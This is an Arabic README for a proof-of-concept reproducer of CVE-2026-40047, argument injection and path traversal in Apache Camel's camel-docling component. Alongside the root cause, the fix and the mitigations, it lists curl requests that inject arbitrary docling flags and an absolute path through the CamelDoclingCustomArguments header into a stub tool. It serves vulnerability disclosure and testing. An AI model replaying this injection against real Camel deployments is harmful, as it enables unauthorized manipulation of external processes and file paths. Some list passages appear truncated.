
مستنسخ لـ CVE-2026-40047: Apache Camel camel-docling حقن وسائط سطر الأوامر / تجاوز المسار
يوضح هذا المشروع ثغرة حقن وسيطات سطر الأوامر واجتياز المسار في مكون camel-docling من Apache Camel، والمتتبعة باسم CVE-2026-40047. يقوم DoclingProducer ببناء استدعاء الأداة الخارجية docling من رؤوس الرسائل؛ حيث كانت الوسائط المخصصة المُقدَّمة عبر رأس CamelDoclingCustomArguments تُلحق دون تحقق كافٍ (قائمة حظر بالإضافة إلى التحقق من ../ الحرفي)، لذا يمكن للمهاجم الذي يؤثر على تلك الرؤوس حقن أعلام docling عشوائية وقيم مسار تحمل اجتيازًا في العملية الفرعية.
الاستشارة: https://camel.apache.org/security/CVE-2026-40047.html
يقوم DoclingProducer بتجميع استدعاء docling وتشغيله عبر java.lang.ProcessBuilder (صيغة قائمة — لا قشرة). يتم إلحاق وسائط CLI المخصصة من رأس CamelDoclingCustomArguments بالأمر:
// DoclingProducer.addCustomArguments(...) - الإصدار المتأثر
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
validateCustomArguments(customArgs); // قائمة حظر + التحقق من "../" الحرفي (ضعيف)
command.addAll(customArgs);
}
في الإصدارات المتأثرة، اعتمدت validateCustomArguments على قائمة حظر من الأعلام غير المسموح بها ورفضت فقط قيم المسار التي تحتوي على ../ حرفيًا. ونتيجة لذلك:
docling.../ حرفيًا (المسارات المطلقة، أو التسلسلات المُطبَّعة) لا يتم اكتشافها.نظرًا لأن Camel يبني استدعاء docling، فإن المكون مسؤول عن تقييد هذه القيم. الإصلاح (CAMEL-23212) يستبدل قائمة الحظر بـ قائمة سماح صارمة من الأعلام المعترف بها، ويرفض الأعلام التي يديرها المنتج (--output/-o) والرموز الوصفية للقشرة (دفاع في العمق)، ويطبع قيم المسار باستخدام Path.normalize() قبل التحقق.
يستخدم الاستدعاء صيغة القائمة من
ProcessBuilder، لذا فإن القشرة لا تفسر القيم — حقن أوامر نظام التشغيل عبر الرموز الوصفية للقشرة غير ممكن؛ رفض الرموز الوصفية في الإصلاح هو دفاع في العمق.
from("direct:convert")
.to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
docling هي أداة خارجية. تشحن أداة إعادة الإنتاج هذه نموذجًا بديلاً لـ docling (على PATH داخل الحاوية) يسجل وسائط argv التي يتلقاها ويكتب ملفًا بتنسيق markdown، بحيث تكون الوسائط المحقونة مرئية في استجابة HTTP وفي /tmp/docling-invocations.log. كل شيء يعمل داخل صورة Docker (التطبيق + النموذج البديل) — لذلك لا حاجة لتثبيت docling حقيقي.
docling)mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal
# النموذج البديل لـ docling يستقبل: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt
curl "http://localhost:8080/exploit/attack"
# يحقن CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> النموذج البديل لـ docling يستقبل:
# docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt
# قيمة مسار بدون "../" حرفي (مسار مطلق) تمر أيضًا:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
على إصدار متأثر (تثبّت أداة إعادة الإنتاج هذه الإصدار 4.18.2) ينجح المسار وتصل الوسائط المحقونة إلى العملية الفرعية. على إصدار مُصحَّح (4.18.3 / 4.19.0) ترفض قائمة السماح --injected-by-attacker مع IllegalArgumentException ويفشل المسار.
docker compose down
CamelDoclingCustomArguments (أو الرؤوس الحاملة للمسار) لمنتج docling:.الترقية إلى 4.18.3 / 4.19.0. يستخدم الإصلاح قائمة سماح صارمة من أعلام docling المعترف بها، ويرفض الأعلام التي يديرها المنتج والرموز الوصفية للقشرة، ويطبع قيم المسار باستخدام Path.normalize() قبل التحقق منها.
حتى الترقية:
CamelDoclingCustomArguments أو الرؤوس الحاملة للمسار.removeHeaders("Camel*")) من الرسائل الواردة من منتجين غير موثوقين قبل منتج docling:.CVE-2026-40047/
├── pom.xml
├── Dockerfile # تطبيق + نموذج بديل 'docling' على PATH
├── docker-compose.yml
├── docling-stub.sh # النموذج البديل 'docling' (يسجل argv، يكتب markdown)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DoclingRoute.java # from(direct:convert).to(docling:convert)
│ └── ExploitController.java # يحقن CamelDoclingCustomArguments
└── resources/
└── application.properties
أداة إعادة الإنتاج هذه مقدمة لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُفصح عنها علنًا ومُصحَّحة. لا تستخدمها ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-docling |
| الفئة المتأثرة | org.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments) |
| السبب الجذري | CamelDoclingCustomArguments (قائمة List<String>) تُلحق إلى وسائط docling CLI مع قائمة حظر ضعيفة + التحقق من ../ الحرفي |
| CWE | CWE-88 (حقن وسيطات) / CWE-22 (اجتياز المسار) |
| التأثير | حقن أعلام سطر أوامر docling عشوائية/غير مقصودة وقيم مسار خارج الدليل في الأداة الخارجية. ليس حقن أوامر نظام التشغيل (ProcessBuilder قائم على قائمة، لا قشرة). |
| الإصدارات المتأثرة | من 4.15.0 قبل 4.18.3 |
| الإصدارات المُصحَّحة | 4.18.3, 4.19.0 |
| JIRA | CAMEL-23212 |
| المبلِّغ | Andrea Cosentino (مؤسسة Apache للبرمجيات) |